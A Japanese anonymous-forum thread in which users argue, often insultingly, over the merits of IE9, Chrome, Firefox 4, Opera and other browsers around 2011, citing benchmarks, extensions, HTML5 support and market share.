本体がバージョンアップすると拡張が使えなくなることがある点は何とかして欲しい所。

Chromeは　右を閉じる、左を閉じる、全て閉じる　が別々の拡張で提供されてるとか
キーワード+検索ワード　という方法でしかWeb検索しかできないとか「ちょっと不便」という印象。
売りである「速さ」も低スペックPCでは今ひとつ体感できなかった。
拡張を入れた後、再起動せずに使えたり、本体の起動が速かったりするのは優れているとは思うが
自分にとってはそんなに重要なポイントにはならなかった。

Flash10.2アップデートきたわｗ
HD動画のGPU処理

IE9の高速描画対応

FlashもIE9が最速って事かｗ

比較表みたいなのはないの？

それぞれのメリットデメリットを比較できるような

昔、タブブラウザ推奨委員会〜みたいなWEBがあったよ。今も更新されているかは知らん。(´･ω･｀)

>>249のようなＩＴ音痴にとってはなｗ

IEのFlash最速は前からじゃん何言ってんのお前

>263
今でもバリバリに更新してるようだよ
FEATURE_BROWSER_EMULATIONの事を調べてたら出てきて驚いた

Chromeが最強なんだから
さっさとアドオン作者はFirefoxから移行してくれ

最強伝説なのにアドオンがちっとも増えないブラウザさんもいるんですよ？

>>267
移行しかけたけど、Chrome拡張の縛りがきつすぎて止めた人が多いという噂。

Firefoxの拡張はセキュリティホールみたいなもんだからな
縛りがきついChromeの方がソフトウェアとしてまとも

>>267
オープンソース
この武器は大きいよ
firefoxと同じアドオンでもクロームだとまったく設定がいじれずにウンコになっちまう

>>271
こいつ何言ってるんだ？

>>272
オープンソース
この武器は大きいよ
firefoxと同じアドオンでもクロームだとまったく設定がいじれずにウンコになっちまう

改造ならＦｘが上　改造しないと何も出来ないのも事実だが

何も出来ないってこたあない
バージョンアップを重ねるにつれて本体に余計な機能が追加されていってる
クロムみたいにいつまでたっても基本機能すら充実しないのとどっちが良いのかは判らんが

Google Chromeは自由が制限される退屈なブラウザなのは事実だからしょうがない。
Chromeのスレも最近勢いないし。将来性もそんなに感じない。

IE9がアドオン入れて0.1秒でも動作が重くなったら警告をだしてくるのにたいして
機能の追加追加で重くなるFirefox
最近は何もいれなくても重い

このあたり改善したらネ申なのにな

Firefoxはアドオンなきゃ何もできないって言うけど、
初期設定でもChromeよりは機能多いだろ

感動的だな
だがセキュリティーホールだらけだ

最終戦争に勝利したクロムにも拡張あるのに狐使う意味がわからん。
クロムのが検索もブラウジンクも速いytubeやマップの表示もダントツなのに

情弱としか思えない

>>280
AdblockもまともにできないChromeのどこがいいんだか
所詮Chromeで拡張できる範囲の拡張機能しか使ってなかった情弱の戯言だな

>>281
Adblock世代交代したんだぜ？
それにFirefoxよりIronのほうがずっと優秀だ

みんな怒りすぎ

ID:db3axHPfO
↑
firefoxを使いこなせなかった低能
まあ、firefoxは多少の知性を必要とするからな
お前が使えないのも無理はないｗ

>>282
世代交代しようがFlashの通信ブロックとかCSSでbackground指定された画像は読み込みブロックできないのがChromeの仕様
IronのAdblock.iniは$third-party指定できないから融通聞かないし
どうあがいてもFirefoxのAdblockには及ばない
こういう制限はAdblockだけの話じゃなくてもっとたくさんあるのが現実

やはりOperaは最強過ぎて文句すら出ないか…

>>284
ｸｽｸｽ…












ｸｽｸｽ…

改行うぜえ

Chrome＝低脳ゆとり専用ブラウザ

Opera＝人生の勝ち組最強ブラウザ

>CSSでbackground指定された画像は読み込みブロックできない
あ？Operaの悪口は許さんぞ

＞>CSSでbackground指定された画像は読み込みブロックできない
＞あ？Operaの悪口は許さんぞ

あ？Operaの悪口は許さんぞ

Opera宗教伝説

Chromeはスキンの自己主張がウザくてブックマーク表示が微妙
Operaはgif表示がたまにおかしい
Ｆｘは最適化しないと、どんどんCPU使用率が大きく
Ｉｅは発展途上
サファリは知らんプニルも知らん

じゃあ何がいいんだよ莫迦

Lunascape

SleipnirとかLunascapeみたいな弱小田舎ブラウザは黙っててもらえませんかね
ここは最終戦争の地ですよ？

>>280
だからぬりかべの使い勝手がよくなってからほざけ
Chromeに行きたいけど、行けないんだよ！

>>294
・メモリ使用量気にならない人→Ｆｘ
・表示形式が気にならない人→Chrome
・gif表示が気にならない人→Opera
・見れないページが出てきた
　時用に一応いれておきましょう→ＩＥ

Chromeは機能はたいして拡張できないが、Googleへの情報送信機能だけはなんとしても外さない頑固なブラウザだからなｗ
わざわざ選ぶようなもんじゃない
Ironは突っ込んであるが結局サブってのは殆ど使わないしな
それにそっちならIEの方がずっと融通がきいたりする

Chrome でいいじゃん。
大抵のことはできるし。GPU機能ONにすれば文句なく速いし、
ONにしなくても、普通のページの表示は最速に近い。
セキュリティーも他ブラウザなんかとは格が違うし、
HTML5 への対応も一番進んでる。
開発速度も速いし、機能が欲しけりゃアドオン（拡張機能）使えばよし。

不満点といえば、ブックマークを左側に別フレームとして
表示できないことと、多段タブに出来ないことくらいじゃないの？

別のブラウザ使ってた人は、Chrome が出てきた当初は、
シンプルな画面でさえ批判の的にしていたが、
結局 IE も Firefox も真似してんじゃんｗ

chrome側で以下のことがすべて実現できるなら乗り換えてもいいんですがどうですか？

タブ周辺強化
ダウンロード周辺強化
一体化2chブラウザ
アドオンリスト書き出し
ブックマークツールバー
ブックマーク・履歴・2ch板一覧・アドオン管理などをすべてサイドバーで開く
誤削除したブックマークを元に戻せる
ブックマークサイドバー2ペイン化
グリモン＆Stylish＆userchromejs
検索orロケーションバー上でページ検索も行う
ステータスをロケーションバー上に埋め込む
ボタンワンクリックで自動ログイン

IE×Firefox×Opera×Safari×Chrome最終戦争17回戦
http://hibari.2ch.net/test/read.cgi/software/1302338662/

もう決着ついてるし

自分で作れ他力本願ヤロウ

IE9の日本語版が正式にDLできるみたいなんで、すごく気になるが
まだcromeの方が早いのだろうか・・・？

>>301
他力本願やろうは今使ってる糞ブラウザで我慢してろカス

も〜chrome猿は素直に不可能だって認めときゃいいんですよ

opera 　7.22秒
iron 　2.23秒
chrome 　5.18秒
palemoon　3.5秒

>>302
まだ真っ只中だろ。
ttp://lhsp.s206.xrea.com/misc/browser-share.html
ttp://bizmakoto.jp/bizid/articles/1104/25/news109.html

IE9最強すぎた
他がゴミに見える

速度はブラウザの性能の一部でしかない

最新ブラウザのパフォーマンスをチェックする
http://bizmakoto.jp/bizid/articles/1104/25/news109.html
最低がFirefox

>>311
FireFox糞すぐるｗｗｗ
これで糞重いアドオンつけたらどうなんだよｗｗｗｗ

落ち目のおわこんウンコフォックスを使ってるのは情弱キモオタだけｗ

低スペにおいてはOperaの独擅場だな

▼Google日本語入力を使っていると
Opera11.10がフリーズしたので
タスクマネージャーで強制終了した。
ページファイルが 3926M/4826M を示している。
32ビットOSだというのにこんなに積みあがっている。
ある発見をした。タスクマネージャーで強制終了しても
Opera11.10が使用していると思われる、
約2500M程のページファイルを開放してくれない。
▲これはMS-Windowsの重要な仕様バグだと思いたい。

>>311
記者の悪意を感じる

都合の悪い事実を受け入れられないのがFireFox厨の特徴だよね。
同じGPU支援のない候補版のIE9にさえ劣ってるのに、
言いわけは通用しないだろ。

速さにたいした差が無いから拡張性が優先されてるだけだろ
何言ってんだこいつ

最後のテストとかFFは他のより倍以上かかってるのに、目くらなのお前？

いまでもFirefox厨やってる奴は速度は二の次だって理解しろ
拡張性能こそが至高と思ってるんだから、速度がー言われたところで「で？」なわけ
その辺を理解しないでベンチ遅いFirefox遅いとか言ってる情弱が多くて困る

100枚近くも画像貼られてるようなサイト１年に何回も行かねーよ
そんなとこより通常サイトでの使い勝手を優先するね

はいはいｗｗｗ
お前らはともかく、シェア取られまくりで開発陣は外観まで
Chromeの猿真似して意識しまくってるが？ｗｗｗ
せいぜい内に引きこもってガラパゴスしてろ。

なんだ猿の人か
またファビョって荒らすなよ

Firefox（笑）

ずっと前からオレはぬり壁の使い勝手が良くなれば
Chromeに移行したいって言ってるんだけどな

お前のIDなんかいちいち観察してねえよｗｗｗ

だめだこいつバカだ

ウンコフォックス（）

勝利者クロムの新しいアイコンがかわいくてワロタ。早くバージョンアップしろ

>>320
特定のブラウザをゴリ押ししてる人ってそういう感覚がズレてるよね
かつてFirefoxが流行りだした頃にマンセーしてた人たちと同じ人種なんだろうな

ヤッター、勝利者だ

でも、使わないけどなｗ
Ironだわ、あの系列で使うならｗ

久しぶりにﾁｮﾛﾒ厨が暴れてるから何かあったのかと思ったらIE9正式版来てたのか
速さじゃIE9に、拡張じゃFirefoxに、ネタじゃOperaにと全く存在意義がなくなって大変そうだな

GoogleにはWebMを頑張ってもらいたい

>>332
普通にネットしててie9やファイアフォクスがクロムより速いと感じるやついないだろｗ
起動から検索からブラウジンクからマップからyoutube再生から何から何まで。

えー（笑）

それにスピードは性能の一部でしかないよ
使い勝手が下回れば結局手がかかる

chromeが最終戦争に勝った？ｗ
笑わせないでくれ
怒涛の猛進を繰り広げどんどんfirefoxに追いより
今やchromeの時代だ　とみんな思うぐらいすごくなっただけで
まだ実質firefoxにすら勝てていないではないか

勝てる勝てないとか実証データあるん？

タブを山形にするという意味のない行為をやめてくれたらChromeを使ってやっても良いぞ

>>338
山形のどこが気にくわないの？

>>338
重なってるから実質サイズは変わらんだろ

http://windows.microsoft.com/ja-JP/internet-explorer/products/ie-9/compare-browsers
Firefoxディスりすぎわろた

これでまたFox厨が発狂するな

http://www.youtube.com/watch?v=oa9m3OES3E8
俺のPCでChromeとFirefoxの起動時間を比べてみた。

Firefoxの遅さに嫉妬しちゃうｗ

>>341
「使いやすさ」の項目が殆どいらない大きなお世話になっているのが笑えるけどな

いいなーと思えるのは、

ソーシャル エンジニアリング によるマルウェアに対する防御
H.264 でエンコードされた HTML5 ビデオをサポート

この二つしかない

早速きたｗ

一応Ironも入ってるんだぜｗ
カスタマイズもすませてあるし

あまり使えないだけｗ

>>343
ちなみに環境は、Core-i7-940 Win7x64 メモリー16GB

もっとも起動が遅いFirefoxは、「起動直後もHDDガリガリ読み込み終わらない」
激重くてメニュー操作でカクつく上に、バージョン情報のウィンドウが激重くてｗ　×を押してもすぐに閉じない有様ｗ

単にシェアのことなら社会インフラ化してるIEは別格として
Google Chromeはまだ勝ったとは言えない状況
http://lhsp.s206.xrea.com/misc/browser-share.html

>>348
world-wide で考えれば、いずれ Firefox を　抜く可能性はあるね。
っていうか、Firefox と Chrome は結構似てきているわけで、
コミュニティーが合体すればいいと思う。Chromium & Firefox で統一すれば、IE と対抗出来る。

貼り忘れてた。世界全体の推移
ttp://gs.statcounter.com/#browser-ww-daily-20100401-20110401

>>347
信じられないなぁｗ

っていうか、そのPC壊れてるんじゃないのｗ？

週刊アスキー編集部による
IE9 vs Chrome10 vs Firefox4速度比較（FishBowl Benchmark） Part1
http://www.youtube.com/watch?v=Zd1UGA-BRSQ
IE9 vs Chrome10 vs Firefox4速度比較（FishBowl Benchmark） Part2
http://www.youtube.com/watch?v=OAnoUauOfXY

>>349
国内シェアも二、三年後は抜いてると思う
やっぱりメディア露出の差は大きいよ
あまり関心のない人にもウェブブラウザは選べるものだと広まり始めたもの

実際に試してみるといい
ベンチマークのURL→http://p.tl/Q5tw

>>354
さすがIE9だわｗ　魚の数2000にしても50FPS超えてる。

>>353
＞メディア露出の差は大きい
まさにその通り。日本は、テレビメディアの影響が大きすぎる国の一つだしなぁ。
ま、宣伝しても別に悪くない出来だから、いいとは思う。
アップデートが自動的に行われる分、一般人にとっては、受ける利益が大きい気がする。
XP でも IE は 6→８にアップデートできるのに、していない人が多かったのが事実だしねぇ。
IEを使い続ける人は、そもそもブラウザを変化させる事自体をしない、
つまり、アップデートすらしない人が多いわけで、IE9 は普及に苦労するだろうね。

>>355
IE9用に用意されたページで当たり前だろ

>>357
Chrome用や、Firefox用のサイトを教えてくれ。

ベンチマークが正規のHTML5表現で書いてる以上
IE向けとかChrome向けとかって考えは無意味に近いと思う

本当にブラウザごとにカスタマイズして早くなるなら、
Googleなら、すぐにオープンなサイトをオープンするだろう。
Googleの自前サイトはIE閲覧不可とか締め出してFirefoxに対する優位性を誇示したりと手が込んでる。

>>358
Chromeは有名だね。
Chrome：http://www.chromeexperiments.com/
(IE,Fxは、まだ実装していない機能も多く、動くことすらできないものも結構見られる。）

>>359
IE9 の HTML5 対応状況は非常に悪い。
ダントツに悪い言っても過言ではない。
ttp://html5test.com/results.html

webデザイナーなどの間では、「IEが出来ない子」というのは
共通認識らしい。

Firefox VS Chrome で考えると、

技術系ニュースサイトでは、既にChrome が Firefox を抜いている。
ttp://www.techdoll.jp/2010/10/12/chrome_beats_firefox/

また、アメリカでは、通常のサイト閲覧でも、Chrome が Firefox 抜いた可能性すらある。
ttp://gs.statcounter.com/#browser_version-US-daily-20100401-20110401
（灰色の点線がChrome10）

最初はPCのパワーを思う存分ブラウザに！ってことで、
AppleのSafari借りてきて、最強Javascriptエンジン乗っけて、
どうや！オマエラも見習えや。真似しろや。

ぐらいのノリだったはずなのに…権力の魔力って怖いな

未だに有力実用WebアプリがGoogle以外から何も登場しない現状…
Androidでも、結局ネイティブアプリが前面に。

ChromeOSの話題もあまり聞かなくなったし、
Google教の説くHTML5の未来もだいぶ胡散臭くなってきた。

フラッシュサンドボックスとかってクロミウムにはないのかなぁ
あるならアイアンにも付くはずなのにないってことはそういうことなのかなぁ

http://blogs.msdn.com/b/ie/archive/2011/04/12/native-html5-first-ie10-platform-preview-available-for-download.aspx
IE10のプラットフォームプレビューを見つけた。
落としてHTML5の対応状況みたらIE9と同じスコアでﾜﾛﾀ。
けど実行速度は相変わらずというか糞っぱやいね。Chromeのサイトで動くのだけフレーム表示できるアプリ併用で試したけど、IE9のほうが速いね。倍以上速い。
けど対応してないページ多すぎてﾜﾛﾀ

>>361
出来ない子というより、Webデザイナー的には、IE8以前に対応がまだ必須事項なんでｗ。
まだ、あと数年は現状のまま、何もかわらないんじゃないっすか

>>362
chromeもあと少しでfirefoxを抜くってか

>>363
実用的なウェブアプリなら一般向けじゃなくて業務用なら結構でてるけどね。
http://pjd.mscui.net/default.htm
医療用ウェブアプリの動作デモ。ランチから起動できるぉ。

>>363
別にHTML5 に対してネガるのは勝手だが、
アンタがどう思おうが、ブラウザ各社はHTML5 対応に躍起。
（IEは初め「俺が法律だ！HTML5ってなにそれ美味しいの？ｗ」という、
　いつもの身勝手行動をとっていたが、Fx,Chromeにブラウザのシェアが本格的に奪われてきて、
　　「俺もHTML5対応に今後真面目に取り組みます。」って言い出した所。）

だから、どのようにネガったところで、HTML5 の対応は急速に進む。

>>363
ちなみに、Android は、スマホ、タブレットで大躍進だよ。
いずれ、Androidが標準になるし、スマホ自体、一家に一台どころか、
一人一台の時代がやってくる可能性がある。
Chrome OS は確かに下火。ただ、Android と融合する可能性はある。

もしブラウザが世界に1種類だけになったら？

　その会社はやりたい放題である。

　次のバージョンからは以下の操作は有料オプションになります。

　「前のページに戻る」
　「ブックマークに登録する」

　さらに通信各社と結託し、

　「HTTPSプロトコル通信は、定額の固定回線でも
　 定額サービス対象外でパケット有料になります。」

　ということも可能になる。　

>>362
あ、間違ってるね。灰色の点線は、殆ど　「Chrome（が大部分ではあるが） + Firefox4 」だから、
まだ抜いてはいない。ただ、もうちょいだな。

今後、パソコン用OSとの統合がもっとも進むスマートフォンOSは何かという観点に立つと
AndroidもiPhoneも一家に1台の時代は微妙に見えてくる。

>>372
現状を認識しろ。既に出荷台数は、PCを越えている。
ttp://www.itmedia.co.jp/news/articles/1102/09/news009.html
ttp://blogs.itmedia.co.jp/kichi/2011/04/pc-d121.html
などなど。

携帯電話が一人一台の時代が来たように、スマートフォンが一人一台の時代が
来る可能性は十分あるし、そうなるであろうと考えられている。

その比較は無意味かにゃぁ
PCと携帯電話は別物だから、利用シーンが全く違う。

それはさておき、ここは、パソコンのブラウザのスレです。
スレチ。荒らしかおまえﾜﾛﾀ

>>367
ほお。実はこちとら本職は医療関係なので、非常に興味深く見さしてもらったわ。
これはまた、ずいぶんと未来指向のシステムですな。
少なくても操作性やUIのデザインは。

救急のリアルタイムなモニタリングの電子化や、放射線画像の3D化なんかは
今まさに日進月歩で進んでる分野だしな。こういうものがあれば確かに便利。

ただカルテは便利さよりも、クラッシュや、バグ・ミスを起こさない堅牢さと
セキュリティと、必要に応じて即座に変更できる点が最重要視されているから、
こういうエレガント過ぎるアプリは、その点どうなの？って気はするけどね。

まあ、かなりインスピレーション湧いたわ。結構感動した。
スレチは承知だが>>367紹介トンクス

>>374
>>363にコメントしただけだよ。お前に言っているわけじゃないしｗ
それとスマホも Firefox や　Opera　搭載できるわけだから、スレチじゃないと思うよ。
何お前勝手にPC限定にしちゃってるの？
いずれ、スマホがPC台数超えること考えれば、スマホから見えるのも重要だし、
「Firefox や Opera 」は、携帯やスマホでも動く！ということを
重要なセールスポイントにしている。

これだからIE厨は自己中って言われるんだよｗｗｗ

発　者　同　　　　　　　　 .　｡_　　 ____　　　　　　　　　　 争
　生　同　.じ　　　　 .　　　　/´ |　 (ゝ___)　　　　　　　　　　い
　.し　士　.レ　　　　　　.__／'r-┴<ゝi,,ノ　 　ro､　　　　　　は、
　.な　で　.ベ　　　 　 ∠ゝ　(ゝ.／/｀　　 ./｀|　 }⌒j
　.い　し　.ル　　　　　 　　} ⌒ ／｀ヽ､_∠l,ノ　・ヽ´
　.! !　か　の　　　　　　 /　　´..:.} ＞､､___,　 .r､ ｿ､｀＼
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AAずれとか哀れ

>>378

　発　者　同　　　　　　　　 .　｡_　　 ____　　　　　　　　　　 争
　生　同　.じ　　　　 .　　　　/´ |　 (ゝ___)　　　　　　　　　　い
　.し　士　.レ　　　　　　.__／'r-┴<ゝi,,ノ　 　ro､　　　　　　は、
　.な　で　.ベ　　　 　 ∠ゝ　(ゝ.／/｀　　 ./｀|　 }⌒j
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>>376
後半理論が破たんしてるぞ

>>379
AAずれ修正おつかれさんｗｗｗ

>>380
バカめ　全角空白一つ打ち込むだけで疲れるわけがない

いいよいいよ
最終戦争とはいかなくても不毛な雰囲気が漂ってきたね
もうちょっとがんばろうか

Firefox4は確かに糞ですよ。Nightly x64ならIE9に引けを取らない速さでのブラウジングと
余りある拡張性の両立が可能です。上級者仕様というやつですかね、

上級仕様っていうか、厨２仕様って感じかな

つまらない人間ですね。

確かに、中二を恐れる者には何も生み出せない

http://pls.xrea.jp/
pasmenu早くIE9に対応してくれ！
ってか誰かいじれない？

ブラウザ戦争も、ほぼキラーアプリが決定権を持つ時代が来たな
アドオンを１つ作ったら全部で動くとかだったら
絶対Chrome使ってるんだが・・・

>>388
＞アドオンを１つ作ったら全部で動くとかだったら
どう言う意味？Firefox のアドオンが Chrome でも動けば、ってこと？

クロームのスキンさえどうにかしてくれれば考えてやらんことも無い
自己主張ウザすぎ
OSのデザインにあわせろよマジで

Win,Mac,Linuxのどれに合わせたらいんだ？

おまえあほやろ

むしろどのOSなら合ってないんだ？
WINでもMACでもLINUXでもそれなりに上手に溶け込んでると思うけど？

どうやったら溶け込んでるようにみえるんだ
スタイルあってないだろ

まったくあってないね。
昔はやったWinAmpみたいな違和感は確かにある

けど気にするようなことではないかもｗ

>>394
透明スキンでも入れておけｗｗ

そこまで違和感ないな

>>397
そりゃセンスないな

普段着とかどんなの着てるんだ？

ブラウザではChromeが一番見た目がいいだろ、シンプルだけどスタイリッシュだし
IE9の酷さ、あれは駄目だろ使う気になるのか
Firefoxのデザインは厨２病がただよってるしな

見た目よくねーよ
ウィンドウはＯＳのスタイルに統一されるべき

>>400
だから、透明にすりゃいいじゃん。情弱か？

なんでクロームのためにわざわざ透明にする必要があるんだよカス

>>ウィンドウはＯＳのスタイルに統一されるべき
意味が分からんが、なんでお前が勝手に統一されるべきとか決めるのか
ウィンドウがOSのスタイルの統一されてるブラウザてどれだ

ID:2Q9ca1Be0 は、どこあたりが統一されていないと考えてんだ？
もしかして、タブが山形ってやつ？ｗ

普通統一されてるから
クラシックにすりゃークラシックになるし
ＸＰのスタイルならＸＰになる
Vistaも７も個人作成のスタイルだって一緒だろ

クロームだけ青のVISTA／７風で固定されてる

>>405
＞クロームだけ青のVISTA／７風で固定されてる
？？？

めんどくせーなお前ら、文句ある奴は
試しにクロームをクラッシックスタイルに変えて
うｐってみろよカス　できるもんならな

>>407
自分で再現してうｐしないとキチガイ認定されて終わりだよ
傍から見ると会話がまるで噛み合ってない

>>408
文句言う前にうｐしてみなさい
再現できませんから

斬新さは一時のインパクトは大きいけどもその反動もまたあるからな
もうすでにChromeがダサく見るから人間怖いわ

>>409
ほれ
何を言いたいのか全くわからん
http://damedao.web.fc2.com/img/1303863625.jpg

>>411
できてませんね、やりなおし
クラシックスタイルってこれの事ね
http://pasofaq.jp/windows/desktop/image/designclassiconly.jpg

あとなんで透明にしてるの？日本語不自由ですか貴方

>>412
なあ、それChromeじゃなくてお前のせいじゃね
透過処理はわざわざ設定しなくともOSのデフォルトだし

>>413
>>407

>>412
言わんとするところはわかるから落ち着け
http://www.dotup.org/uploda/www.dotup.org1573869.png

Linux版なら出来る。ChromeじゃなくてChromiumだけど、一緒だろう
ClassicじゃなくてOS（というかDE）のテーマに合せてるんだけど似たようなもんだろう
もちろんうちの全部のアプリがこの配色になってるよ

>>414
うーん
お前と会話が成立するのは極々親しい友人かエスパーだけだと思うぞ

今北産業

ただChrome叩きたいだけのきちがいFox厨を
延々かまうお前らって優しいな

IE叩くならともかくChromeを叩くFirefoxユーザなんているか？

自称新し物好き情弱Chrome厨がFirefox叩くからそれに反応して情強がChromeの弱点指摘する
Chrome厨がんばるけどスピードしか利点がないから言い返せない
結果、煽り合いも盛り上がらなくてしょんぼり

Androidで位置情報をこっそり収集していたGoogleのことだからChromeにも何か混ぜてるんだろうな
Google Readerとかのアクセスに使ってる独自プロトコルの通信を調べてみると密かに個人情報も送ってたりするんじゃないか

>>Chrome厨がFirefox叩くから
何いってんだ？
最初に　>>390　のFirforx厨の典型の厨2病が訳の解らんことを言い出したから
それに対してに、君何を言いたいのか意味が分かりませんよ、となった訳だ
常に、訳の解らんことをいいだすのFirfox厨の方だが

Chromeはスピード面以外は特にこれといったいい部分はない
あ、Googleのサービス使ってる人は別よ？
あれはそういう人たちのためのブラウザ

スピード面以外とかすぐいうアホがいるけど
実際シェア食われてんのに言い訳がましすぎる。

それにIE、FireFoxともにインターフェースまで真似っ子してまで、
Chromeのスピード重視の戦略に追従してるのは否めないよね。

>>412
だせえｗｗｗ
ChromeのGUIってGoogleOS見越してんじゃね

Chromeはブラウザ界に革命を起こしたのは間違いない

あれだけ「Chromeをインストールしますか？」が氾濫していたらそうもなるだろｗ
窓の杜なんて抱き合わせでダウンロードさせようとするし

ところでChromeってお気に入りボタンとかメニューは、いつになったら使えるのかな
あれのせいでユーザーを相当のがしてると思う

お気に入りのボタンとかメニューって何だ？

昔は散々Chrome の UI 変すぎ！って騒いでいた奴らがいたが、
Firefox や IE が Chrome の UI に殆ど近くなったら何も言わなくなったな。

そのうち Firefox も 検索窓とアドレスバー統合しそうな気がするｗ

Fx4で統合する予定があったけどいつのまにか流れた
いずれまた統合する話が出てくると思うよ

FirefoxってChromeの真似ばっかだな

>>430
たぶんやるだろ
検索エンジン変えない奴には
見た目にも機能的にも邪魔なだけだし

グーグルツールバーとChromeは情弱のPCに必ず入ってるからな

情弱な俺のPCにはIEもFxもOperaもChromeも入ってるわ

safariが入ってなければ情弱じゃない

Luna & pnir をなめるなぁ！

Appleのアプリケーションは余計なものが一式揃って付いてくるイメージが強くてインストールする気になれない

Chrome厨はどうでもいいものをありがたがりすぎ。
タブが上、アドレスバーで検索なんてOperaじゃ何年も前から当たり前だった。
拡張じゃFirefoxの方が遥かに上だ。
唯一誇れるところはJavascriptの実行スピードだけ。しかし、メモリ馬鹿食い。
それも比較的上位というだけで、しょっちゅう他ブラウザに追い抜かされるけど。

>>436
Chrome無い頃からSafariでWebKit使ってるな Mac買わなくて済むし

都市伝説
１．Safari は、実は Google開発者が開発してあげたりしている。
２．Firefox開発陣　（Mozilla）の豊富な資金源は、実は大半が Google の寄付である。

真実やいかに。

FirefoxでGoogle検索をするといくらかMozillaの収入になる契約があるから、2は本当
最近はMicrosoftともそういう契約を結んだらしく、Fx4の検索バーにBingが入っている

確かにChromeは起動早いけどブラウジングがキャッシュだよりなのとadblock拡張出たといっても
Firefox程の物ではなく、基本Chromeは広告排除機能を入れてメインにするブラウザーじゃないと思う（今後も
ということは、常にサードパーティー広告ガバ読みのフラッシュ広告でまくりの状態で見るのが前提で
しかもキャッシュだよりなので、アンチウイルスの検査の負荷もあいまって、実は、ブラウジングは遅いという・・・

ブラウジングのスピードならFirefox
印刷ならIE9

で、決まり

Bingは結構いいよ
まだ使い勝手でいえばGoogleの方がやや上だけどね

わけのわからん理論ですな
広告なんてブラウザの機能に頼らずとも消せるだろうに

クロームのポップアップ式のブックマーク表示なんとかならんかね
ウザすぎ

IE…思えば俺が初めて出会ったブラウザは君だった…
IE6から7･8とずっと君を使い続けてきた、そしてこれからもそうなるはずだったんだ…
9になってから君は変わってしまった、僕はそれに戸惑ってしまったんだ…
新しく家に来たChromeやFirefox、僕はこれから誰を選べばいいのだろう…

というわけで、新しくなったIEのUIの変更やそれに伴う操作感に戸惑い
上に書いた擬人化SS風よろしく妄想し、今では
「IEは俺にとってなんだったんだろうか…」と重症化しています（笑
そんな私は上記三つの内どれを使えばいいのでしょうか？
みなさんの意見を聞かせて下さい
また、上記以外でおススメのブラウザがあれば教えて下さい

>>447
黙ってNetscape使ってろ

おまえにはOperaしかないな

漢ならAmaya一筋

>>447
この中から選べ
Konqueror
Amaya
Netscape
Lynx
NCSA Mosaic
NetPositive

名前を聞いたことがないブラウザが多くて不安かもしれないが、
どれもその世界では知らない人がいない超一流のブラウザだ。

Netscapeというブランド名が今でも好きで忘れられない
この名前を使って新しいブラウザが登場するなんて出来ないんだろうか
もし実現したら即飛びついちゃうぞ俺

Chrome　11　出たぞー

「Google Chrome 11」の安定版がリリース
ttp://www.itmedia.co.jp/enterprise/articles/1104/28/news022.html

Chromeのバージョンほど無意味なものはないとChromiumの13を使いながら思う……

>>444
ホームページやブログやってたら知ってることだが、Bingは糞。他のマイナー検索エンジンのがまとも

>>454
重要だろ。HTML5 対応が進むことで、Extension で出来ることもその分増えるわけで。
Chrome の音声入力は、結構面白いよ。

よく使われるフレーズであれば、適切に変換してくれる。
例えば「東京特許許可局許可局長」とかは、簡単に変換してくれる。

逆によく使われないようなフレーズや、ちょっとだけ変えた場合の精度は良くないね。

(常用)Opera11＞Safari5＞IE9＞Chrome10＞Firefox4(デバッグ用)

↑上記のブラウザはデバッグをするために全て必要となる

ID:5aJhe6h90 は、ザ・ベンチスレにだけ書いてくれればいいよ
同じ内容をあちこちに貼るの面倒だろ

>>363
怪しいのは特許の絡むvideoやaudioのメディア系タグぐらいだと思う
こっちがおもにジョブズや信者に派手に宣伝されてきたから、これが駄目だとHTML5そのものが駄目に見えてしまうが

>>460
Flashを使わずに済むなら使わずに済ませたいのは確か
もう下火になったけど例のiOSにFlash積まない話の時に
エンドユーザ側にFlash擁護派がいたけどあれはちょっと意味がわからなかった
デベロッパやコンテンツ提供側がFlash必要!っていうならわかるが
なんでお前らが文句言うの？お前ら見るだけじゃんと思ったよ

HTML5の標準ビデオフォーマットはいつ決まるんだろうな

決まんないまま各ブラウザが勝手に実装してくれで終わると予想
Googleが本気でWebMに取り組んでくれればWebMだったろうが
どうも出さなくてももともと可能性が低かったH.264が採用されるのを
阻止するためだけに出してきたように思う

それなりに本気でWebMを出してるんじゃないか
そうじゃなければWebM Community Cross Licenseイニシアチブとか発表しないだろうし、ChromeのH.264サポートを廃止しないだろう

肝心のコーデックそのものの改良が遅いからな
ffmpegやx264のDark Shikariとかのほうが本気でWebMの将来に期待してて
改良もそっちの方が早いぐらいだったし

>>461
見るだけだからだろ。
信者とまでいかないiOS機器のユーザーにはAppleがFlashを積まない理由とかどうでもいい。

>>461
擁護ってのがどんな内容だったか知らないけど
iOS機器持ってる人はFlashが載ってるサイト見たいから
Flash Player対応してくれって書いてただけじゃねえの？

HTML5+CSS3にとってvideo/audioなんて些末なこと

>>451
WorldWideWeb
http://ja.wikipedia.org/wiki/WorldWideWeb
忘れんじゃねえ

>>453
やったね。
とうとうOperaを追い抜く時が来たね。

>>470
Operaが最強です。その座は揺るぐ事はありません。

いや来年の今頃には20ぐらいになってるだろ

フラッシュを使わずにHTML5canvasで済ませたらこうなったぜ！

http://www42.atwiki.jp/syugyou?cmd=upload&act=open&pageid=240&file=tun.html

Firefox4.0.1
ぬりかべが使えなくなった
今までありがとう火狐

もうおまえに振り回されるのはたくさんだ

最近のJavaSceript開発の傾向

Firefox4で作る→Opera11で使う

Chrome11で作る→Safari5で使う

IE9で作る→IE9のIE7で使う

どのブラウザてもほぼ動作するJavaScriptを開発する

Firefox4で作る→Opera11でテスト→Chrome11でテスト→Safari5でテスト→IE9でテスト→IE9のIE7でテスト→Opera11で使う

(常用)Opera11＞Safari5＞IE9のIE7＞IE9＞Chrome10＞Firefox4(デバッグ用)

Opera11やSafari5のように偽装モードを持つブラウザは
今後は偽装するより主張する方がシェア宣伝になるようだ

SleipnirとGraniはIE7(IE6)モードのままらしい。
でも一部のサイトではIE9より表示が早かった。

Acid3テストすればモードが判明する。
http://acid3.acidtests.org/

楽しい独り言スレはここでしょうか？

>>480
いいえここではありません
こちらへどうぞ
http://hibari.2ch.net/test/read.cgi/software/1297583525/

>>479
IE9のIE7モード固定なのかな？

Firefoxは表面的な宣伝性能の割に、
使えないブラウザ化も促進されつつある？

もし改悪をするスパイ開発者いたら大変？

Operaは大丈夫なのだろうか？とても気になる！

Opera11とChrome11で速度を比べる
http://acid3.acidtests.org/

Opera11は69/100のあたりで引っかかる、2回目も同じく引っかかる。
JavaScript絡みの不具合も考えられそうだが、原因は不明？

Chrome11は69/100のあたりで１回目は引っかかるが、2回目から高速化される。
こちらはDNS プリフェッチを使用してページの表示速度を向上するをONにしている。

Safari終了のお知らせ

